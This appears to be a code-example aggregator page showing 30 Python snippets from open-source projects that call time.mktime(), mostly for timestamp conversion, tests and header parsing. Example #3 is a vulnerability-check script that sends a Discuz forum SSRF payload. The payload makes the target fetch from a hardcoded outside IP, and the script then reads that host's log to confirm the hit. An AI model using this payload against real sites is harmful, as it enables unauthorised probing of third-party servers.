Python time.mktime() Examples

The following are 30 code examples of time.mktime(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module time , or try the search function .
Example #1
Source File: customservice.py    From wechatpy with MIT License 8 votes vote down vote up
def get_records(self, start_time, end_time, msgid=1, number=10000):
        """
        获取客服聊天记录

        :param start_time: 查询开始时间,UNIX 时间戳
        :param end_time: 查询结束时间,UNIX 时间戳,每次查询不能跨日查询
        :param msgid: 消息id顺序从小到大,从1开始
        :param number: 每次获取条数,最多10000条

        :return: 返回的 JSON 数据包
        """
        if isinstance(start_time, datetime.datetime):
            start_time = time.mktime(start_time.timetuple())
        if isinstance(end_time, datetime.datetime):
            end_time = time.mktime(end_time.timetuple())
        record_data = {
            "starttime": int(start_time),
            "endtime": int(end_time),
            "msgid": msgid,
            "number": number,
        }
        res = self._post("https://api.weixin.qq.com/customservice/msgrecord/getmsglist", data=record_data,)
        return res 
Example #2
Source File: cookies.py    From jawfish with MIT License 6 votes vote down vote up
def morsel_to_cookie(morsel):
    """Convert a Morsel object into a Cookie containing the one k/v pair."""

    expires = None
    if morsel['max-age']:
        expires = time.time() + morsel['max-age']
    elif morsel['expires']:
        time_template = '%a, %d-%b-%Y %H:%M:%S GMT'
        expires = time.mktime(
            time.strptime(morsel['expires'], time_template)) - time.timezone
    return create_cookie(
        comment=morsel['comment'],
        comment_url=bool(morsel['comment']),
        discard=False,
        domain=morsel['domain'],
        expires=expires,
        name=morsel.key,
        path=morsel['path'],
        port=None,
        rest={'HttpOnly': morsel['httponly']},
        rfc2109=False,
        secure=bool(morsel['secure']),
        value=morsel.value,
        version=morsel['version'] or 0,
    ) 
Example #3
Source File: discuz_SSRF.py    From xunfeng_vul_poc with GNU General Public License v3.0 6 votes vote down vote up
def check(ip, port, timeout=10):
    url = ip + ':' + port
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
    }
    time_stamp = time.mktime(datetime.datetime.now().timetuple())
    m = hashlib.md5(str(time_stamp).encode(encoding='utf-8'))
    md5_str = m.hexdigest()
    payload = "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://45.76.158.91:6868/" + md5_str + ".jpg[/img]&formhash=09cec465"
    vulnurl = url + payload
    try:
        req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
        eye_url = "http://45.76.158.91/web.log"
        time.sleep(6)
        reqr = requests.get(eye_url, timeout=timeout, verify=False)
        if md5_str in reqr.text:
            return u"存在discuz论坛forum.php参数message SSRF漏洞"
    except:
        pass 
Example #4
Source File: test_dbapi.py    From snowflake-connector-python with Apache License 2.0 6 votes vote down vote up
def test_Timestamp():
    t1 = snowflake.connector.dbapi.Timestamp(
        2002,
        12,
        25, 13,
        45,
        30)
    t2 = snowflake.connector.dbapi.TimestampFromTicks(
        time.mktime(
            (
                2002,
                12,
                25,
                13,
                45,
                30,
                0,
                0,
                0))
    )
    # API doesn't specify, but it seems to be implied
    assert str(t1) == str(t2) 
Example #5
Source File: test_dbapi.py    From snowflake-connector-python with Apache License 2.0 6 votes vote down vote up
def test_Date():
    d1 = snowflake.connector.dbapi.Date(
        2002, 12, 25)
    d2 = snowflake.connector.dbapi.DateFromTicks(
        time.mktime((
            2002,
            12,
            25,
            0,
            0,
            0,
            0,
            0,
            0)))
    # API doesn't specify, but it seems to be implied
    assert str(d1) == str(d2) 
Example #6
Source File: cookies.py    From vulscan with MIT License 6 votes vote down vote up
def morsel_to_cookie(morsel):
    """Convert a Morsel object into a Cookie containing the one k/v pair."""

    expires = None
    if morsel['max-age']:
        expires = time.time() + morsel['max-age']
    elif morsel['expires']:
        time_template = '%a, %d-%b-%Y %H:%M:%S GMT'
        expires = time.mktime(
            time.strptime(morsel['expires'], time_template)) - time.timezone
    return create_cookie(
        comment=morsel['comment'],
        comment_url=bool(morsel['comment']),
        discard=False,
        domain=morsel['domain'],
        expires=expires,
        name=morsel.key,
        path=morsel['path'],
        port=None,
        rest={'HttpOnly': morsel['httponly']},
        rfc2109=False,
        secure=bool(morsel['secure']),
        value=morsel.value,
        version=morsel['version'] or 0,
    ) 
Example #7
Source File: test_dbapi.py    From snowflake-connector-python with Apache License 2.0 6 votes vote down vote up
def test_Timestamp():
    t1 = snowflake.connector.dbapi.Timestamp(
        2002,
        12,
        25, 13,
        45,
        30)
    t2 = snowflake.connector.dbapi.TimestampFromTicks(
        time.mktime(
            (
                2002,
                12,
                25,
                13,
                45,
                30,
                0,
                0,
                0))
    )
    # API doesn't specify, but it seems to be implied
    assert str(t1) == str(t2) 
Example #8
Source File: reportMetrics.py    From InsightAgent with Apache License 2.0 6 votes vote down vote up
def update_data_start_time():
    if "FileReplay" in parameters['mode'] and reporting_config_vars['prev_endtime'] != "0" and len(
            reporting_config_vars['prev_endtime']) >= 8:
        start_time = reporting_config_vars['prev_endtime']
        # pad a second after prev_endtime
        start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
        end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
    elif reporting_config_vars['prev_endtime'] != "0":
        start_time = reporting_config_vars['prev_endtime']
        # pad a second after prev_endtime
        start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
        end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
    else:  # prev_endtime == 0
        end_time_epoch = int(time.time()) * 1000
        start_time_epoch = end_time_epoch - 1000 * 60 * reporting_config_vars['reporting_interval']
    return start_time_epoch


# update prev_endtime in config file 
Example #9
Source File: mysqlite.py    From GithubMonitor with MIT License 6 votes vote down vote up
def _get_hour():
    '''
    返回上个小时的时间戳
    假如现在是 2018.11.21 19:44:02, 那么返回 '1542794400'
    即 2018.11.21 18:00:00 的时间戳

    返回值:
        字符串;上个小时的时间戳
    '''

    return int(
        time.mktime(
            time.strptime(
                time.strftime("%Y-%m-%d %H"), "%Y-%m-%d %H")
        )
    )-3600 
Example #10
Source File: test_loggers.py    From moler with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def test_multiline_formatter_puts_message_lines_into_data_area():
    """
    We want logs to look like:

    01 19:36:09.823  |This is
                     |multiline
                     |content
    """
    from moler.config.loggers import MultilineWithDirectionFormatter

    formatter = MultilineWithDirectionFormatter(fmt="%(asctime)s.%(msecs)03d |%(message)s", datefmt="%d %H:%M:%S")
    tm_struct = time.strptime("2000-01-01 19:36:09", "%Y-%m-%d %H:%M:%S")
    epoch_tm = time.mktime(tm_struct)
    logging_time = epoch_tm
    log_rec = logging.makeLogRecord({'msg': "This is\nmultiline\ncontent",
                                     'created': logging_time, 'msecs': 823})
    output = formatter.format(log_rec)

    assert output == "01 19:36:09.823 |This is\n" \
                     "                |multiline\n" \
                     "                |content" 
Example #11
Source File: backtracking.py    From PT-help with MIT License 6 votes vote down vote up
def backtracking_id(site):
    cookies = cookies_raw2jar(site['cookies'])
    for _tid in range(site['start_torrent'], site['end_torrent'] + 2):
        t0 = time.time()

        _link = site['torrent_url'].format(_tid)
        torrent_page = requests.get(_link, cookies=cookies, headers=headers)
        title_search = re.search(site['search_ptn'], torrent_page.text)

        if title_search:
            _title = pymysql.escape_string(unescape(title_search.group("title")))
            pubDate = re.search("发布于(.+?)<", torrent_page.text).group(1)
            _timestamp = time.mktime(time.strptime(pubDate, "%Y-%m-%d %H:%M:%S"))

            wrap_insert(site=site['name'], sid=_tid, title=_title, link=_link, pubdate=_timestamp, t=t0)
        else:
            print("ID: {}, Cost: {:.5f} s, No torrent.".format(_tid, time.time() - t0))

        time.sleep(2) 
Example #12
Source File: tz.py    From recruit with Apache License 2.0 5 votes vote down vote up
def _isdst(self, dt, fold_naive=True):
        # We can't use mktime here. It is unstable when deciding if
        # the hour near to a change is DST or not.
        #
        # timestamp = time.mktime((dt.year, dt.month, dt.day, dt.hour,
        #                         dt.minute, dt.second, dt.weekday(), 0, -1))
        # return time.localtime(timestamp).tm_isdst
        #
        # The code above yields the following result:
        #
        # >>> import tz, datetime
        # >>> t = tz.tzlocal()
        # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname()
        # 'BRDT'
        # >>> datetime.datetime(2003,2,16,0,tzinfo=t).tzname()
        # 'BRST'
        # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname()
        # 'BRST'
        # >>> datetime.datetime(2003,2,15,22,tzinfo=t).tzname()
        # 'BRDT'
        # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname()
        # 'BRDT'
        #
        # Here is a more stable implementation:
        #
        if not self._hasdst:
            return False

        # Check for ambiguous times:
        dstval = self._naive_is_dst(dt)
        fold = getattr(dt, 'fold', None)

        if self.is_ambiguous(dt):
            if fold is not None:
                return not self._fold(dt)
            else:
                return True

        return dstval 
Example #13
Source File: retry.py    From core with MIT License 5 votes vote down vote up
def parse_retry_after(self, retry_after):
        # Whitespace: https://tools.ietf.org/html/rfc7230#section-3.2.4
        if re.match(r"^\s*[0-9]+\s*$", retry_after):
            seconds = int(retry_after)
        else:
            retry_date_tuple = email.utils.parsedate(retry_after)
            if retry_date_tuple is None:
                raise InvalidHeader("Invalid Retry-After header: %s" % retry_after)
            retry_date = time.mktime(retry_date_tuple)
            seconds = retry_date - time.time()

        if seconds < 0:
            seconds = 0

        return seconds 
Example #14
Source File: updater.py    From couchpotato.provider.t411 with GNU General Public License v2.0 5 votes vote down vote up
def latestCommit(self):
        try:
            url = 'https://api.github.com/repos/%s/%s/commits?per_page=1&sha=%s' % (self.repo_user, self.repo_name, self.branch)
            data = self.getCache('github.commit', url = url)
            commit = json.loads(data)[0]

            return {
                'hash': commit['sha'],
                'date': int(time.mktime(parse(commit['commit']['committer']['date']).timetuple())),
            }
        except:
            log.error('Failed getting latest request from github: %s', traceback.format_exc())

        return {} 
Example #15
Source File: test_dbapi.py    From snowflake-connector-python with Apache License 2.0 5 votes vote down vote up
def test_Time():
    t1 = snowflake.connector.dbapi.Time(
        13, 45, 30)
    t2 = snowflake.connector.dbapi.TimeFromTicks(
        time.mktime(
            (
                2001, 1,
                1, 13,
                45, 30,
                0, 0,
                0)))
    # API doesn't specify, but it seems to be implied
    assert str(t1) == str(t2) 
Example #16
Source File: pptv.py    From bilibiliupload with MIT License 5 votes vote down vote up
def shift_time(time_str):
    ts = time_str[:-4]
    return time.mktime(time.strptime(ts)) - 60 
Example #17
Source File: ewmh.py    From pyewmh with GNU Lesser General Public License v3.0 5 votes vote down vote up
def setCloseWindow(self, win):
        """
        Close the given window (property _NET_CLOSE_WINDOW)

        :param win: the window object"""
        self._setProperty('_NET_CLOSE_WINDOW',
                          [int(time.mktime(time.localtime())), 1], win) 
Example #18
Source File: reference.py    From recruit with Apache License 2.0 5 votes vote down vote up
def _isdst(self, dt):
        tt = (dt.year, dt.month, dt.day,
              dt.hour, dt.minute, dt.second,
              dt.weekday(), 0, -1)
        stamp = _time.mktime(tt)
        tt = _time.localtime(stamp)
        return tt.tm_isdst > 0 
Example #19
Source File: __init__.py    From recruit with Apache License 2.0 5 votes vote down vote up
def _get_date_and_size(zip_stat):
        size = zip_stat.file_size
        # ymdhms+wday, yday, dst
        date_time = zip_stat.date_time + (0, 0, -1)
        # 1980 offset already done
        timestamp = time.mktime(date_time)
        return timestamp, size 
Example #20
Source File: notify.py    From pagure with GNU General Public License v2.0 5 votes vote down vote up
def notify_status_change_issue(issue, user):
    """ Notify the people following a project that an issue changed status.
    """
    status = issue.status
    if status.lower() != "open" and issue.close_status:
        status = "%s as %s" % (status, issue.close_status)
    text = """
The status of the issue: `%s` of project: `%s` has been updated to: %s by %s.

%s
""" % (
        issue.title,
        issue.project.fullname,
        status,
        user.username,
        _build_url(
            pagure_config["APP_URL"],
            _fullname_to_url(issue.project.fullname),
            "issue",
            issue.id,
        ),
    )
    mail_to = _get_emails_for_obj(issue)

    uid = time.mktime(datetime.datetime.now().timetuple())

    assignee = issue.assignee.user if issue.assignee else None

    send_email(
        text,
        "Issue #%s: %s" % (issue.id, issue.title),
        ",".join(mail_to),
        mail_id="%s/close/%s" % (issue.mail_id, uid),
        in_reply_to=issue.mail_id,
        project_name=issue.project.fullname,
        user_from=user.fullname or user.user,
        reporter=issue.user.user,
        assignee=assignee,
    ) 
Example #21
Source File: delegates.py    From core with MIT License 5 votes vote down vote up
def pretty_timestamp(t, now=None):
    """Parse timestamp to user readable format

    >>> pretty_timestamp("20170614T151122Z", now="20170614T151123Z")
    'just now'

    >>> pretty_timestamp("20170614T151122Z", now="20170614T171222Z")
    '2:01 hours ago'

    Args:
        t (str): The time string to parse.
        now (str, optional)

    Returns:
        str: human readable "recent" date.

    """

    if now is not None:
        try:
            now = time.strptime(now, "%Y%m%dT%H%M%SZ")
            now = datetime.fromtimestamp(time.mktime(now))
        except ValueError as e:
            log.warning("Can't parse 'now' time format: {0} {1}".format(t, e))
            return None

    if isinstance(t, float):
        dt = datetime.fromtimestamp(t)
    else:
        # Parse the time format as if it is `str` result from
        # `pyblish.lib.time()` which usually is stored in Avalon database.
        try:
            t = time.strptime(t, "%Y%m%dT%H%M%SZ")
        except ValueError as e:
            log.warning("Can't parse time format: {0} {1}".format(t, e))
            return None
        dt = datetime.fromtimestamp(time.mktime(t))

    # prettify
    return pretty_date(dt, now=now) 
Example #22
Source File: collectevents.py    From buildbot-infra with MIT License 5 votes vote down vote up
def ts(d):
    return int(mktime((d).timetuple())) * 1000 
Example #23
Source File: retry.py    From ServerlessCrawler-VancouverRealState with MIT License 5 votes vote down vote up
def parse_retry_after(self, retry_after):
        # Whitespace: https://tools.ietf.org/html/rfc7230#section-3.2.4
        if re.match(r"^\s*[0-9]+\s*$", retry_after):
            seconds = int(retry_after)
        else:
            retry_date_tuple = email.utils.parsedate(retry_after)
            if retry_date_tuple is None:
                raise InvalidHeader("Invalid Retry-After header: %s" % retry_after)
            retry_date = time.mktime(retry_date_tuple)
            seconds = retry_date - time.time()

        if seconds < 0:
            seconds = 0

        return seconds 
Example #24
Source File: converter.py    From snowflake-connector-python with Apache License 2.0 5 votes vote down vote up
def _struct_time_to_snowflake(self, value):
        tzinfo_value = _generate_tzinfo_from_tzoffset(time.timezone // 60)
        t = datetime.fromtimestamp(time.mktime(value))
        if pytz.utc != tzinfo_value:
            t += tzinfo_value.utcoffset(t)
        t = t.replace(tzinfo=tzinfo_value)
        return self._datetime_to_snowflake(t) 
Example #25
Source File: converter.py    From snowflake-connector-python with Apache License 2.0 5 votes vote down vote up
def _struct_time_to_snowflake_bindings(self, snowflake_type, value):
        return self._datetime_to_snowflake_bindings(
            snowflake_type,
            datetime.fromtimestamp(time.mktime(value))) 
Example #26
Source File: test_dbapi.py    From snowflake-connector-python with Apache License 2.0 5 votes vote down vote up
def test_Time():
    t1 = snowflake.connector.dbapi.Time(
        13, 45, 30)
    t2 = snowflake.connector.dbapi.TimeFromTicks(
        time.mktime(
            (
                2001, 1,
                1, 13,
                45, 30,
                0, 0,
                0)))
    # API doesn't specify, but it seems to be implied
    assert str(t1) == str(t2) 
Example #27
Source File: authentication.py    From normandy with Mozilla Public License 2.0 5 votes vote down vote up
def fetch_oidc_user_profile(self, access_token):
        token_hash = sha256(access_token.encode()).hexdigest()
        cache_key = f"oidc-profile-{token_hash}"
        cached_response = cache.get(cache_key)

        if cached_response:
            return cached_response

        url = settings.OIDC_USER_ENDPOINT
        response = requests.get(url, headers={"Authorization": f"Bearer {access_token}"})

        if response.status_code == 200:
            now = int(time.mktime(datetime.utcnow().timetuple()))
            resets_in = int(response.headers.get("X-RateLimit-Reset", 0)) - now
            cache_seconds = DEFAULT_PROFILE_CACHE_SECONDS if resets_in < 1 else resets_in
            profile = response.json()
            cache.set(cache_key, profile, cache_seconds)
            return profile
        elif response.status_code == 401:
            # The OIDC provider did not like the access token.
            raise exceptions.AuthenticationFailed("Unauthorized access token")
        elif response.status_code >= 500:
            raise requests.exceptions.RequestException(f"{response.status_code} on {url}")

        # This could happen if, for some reason, we're not configured to be
        # allowed to talk to the OIDC endpoint.
        raise OIDCEndpointRequestError(response.status_code) 
Example #28
Source File: timecat.py    From timecat with MIT License 5 votes vote down vote up
def dt2ts(dt, dt_format="%Y-%m-%d %H:%M:%S"):
    return time.mktime(time.strptime(dt, dt_format)) 
Example #29
Source File: spotify_web.py    From raveberry with GNU Lesser General Public License v3.0 5 votes vote down vote up
def _parse_retry_after(self, response):
        """Parse Retry-After header from response if it is set."""
        value = response.headers.get("Retry-After")

        if not value:
            seconds = 0
        elif re.match(r"^\s*[0-9]+\s*$", value):
            seconds = int(value)
        else:
            date_tuple = email.utils.parsedate(value)
            if date_tuple is None:
                seconds = 0
            else:
                seconds = time.mktime(date_tuple) - time.time()
        return max(0, seconds) 
Example #30
Source File: svnwc.py    From py with MIT License 5 votes vote down vote up
def parse_apr_time(timestr):
    i = timestr.rfind('.')
    if i == -1:
        raise ValueError("could not parse %s" % timestr)
    timestr = timestr[:i]
    parsedtime = time.strptime(timestr, "%Y-%m-%dT%H:%M:%S")
    return time.mktime(parsedtime)